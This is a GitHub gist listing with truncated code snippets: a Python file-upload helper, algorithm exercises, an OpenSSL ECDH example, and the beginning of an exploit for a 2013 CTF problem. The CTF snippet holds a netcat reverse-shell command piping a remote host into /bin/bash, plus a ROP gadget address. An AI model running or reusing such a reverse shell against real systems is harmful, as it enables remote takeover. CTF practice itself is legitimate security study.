Skip to content

Instantly share code, notes, and snippets.

View AhnMo's full-sized avatar
🤔
Karma

Park Jung-hwan AhnMo

🤔
Karma
View GitHub Profile
@AhnMo
AhnMo / fileupload.py
Last active April 4, 2021 11:01
python urllib2 file upload
import urllib2
import urllib
import itertools
import mimetools
import mimetypes
from cStringIO import StringIO
class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""
@AhnMo
AhnMo / celebrity.cc
Created April 24, 2016 08:18
Celebrity Problem, O(n^2) and O(n)
#include <iostream>
#include <list>
using namespace std;
#define N 4
int size = N;
bool MATRIX[N][N] = {
{0, 1, 1, 1},
{0, 0, 1, 1},
// lavida.us 1723
#include <stdio.h>
unsigned long long int cache[91];
unsigned long long int fibo(int n) {
int a;
if (cache[n] != 0) return cache[n];
cache[n] = (n == 0 || n == 1)? n: fibo(n - 2) + fibo(n - 1);
return cache[n];
}
// acmicpc.net 1003
#include <stdio.h>
int zero, one;
int fibonacci(int n) {
if (n==0) {
zero++;
return 0;
} else if (n==1) {
one++;
@AhnMo
AhnMo / ECDH.c
Created April 11, 2016 11:39
elliptic curve cryptography with openssl library
// ECDH.c
// $ gcc -o ECDH -lcrypto -lssl ECDH.c
#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/ecdh.h>
#include <openssl/obj_mac.h>
typedef struct _KEYPAIR {
BIGNUM *x, *y;
#!/usr/bin/python
# Luckyzzang (HDCON 2013 Problem 5)
import socket, struct
p = lambda x: struct.pack('<L', x)
up = lambda x: struct.unpack('<L', x)[0]
command = 'nc 192.168.99.1 3334 | /bin/bash | nc 192.168.99.1 3333'
ppppr = p(0x080489cc)
sock_fd = p(4)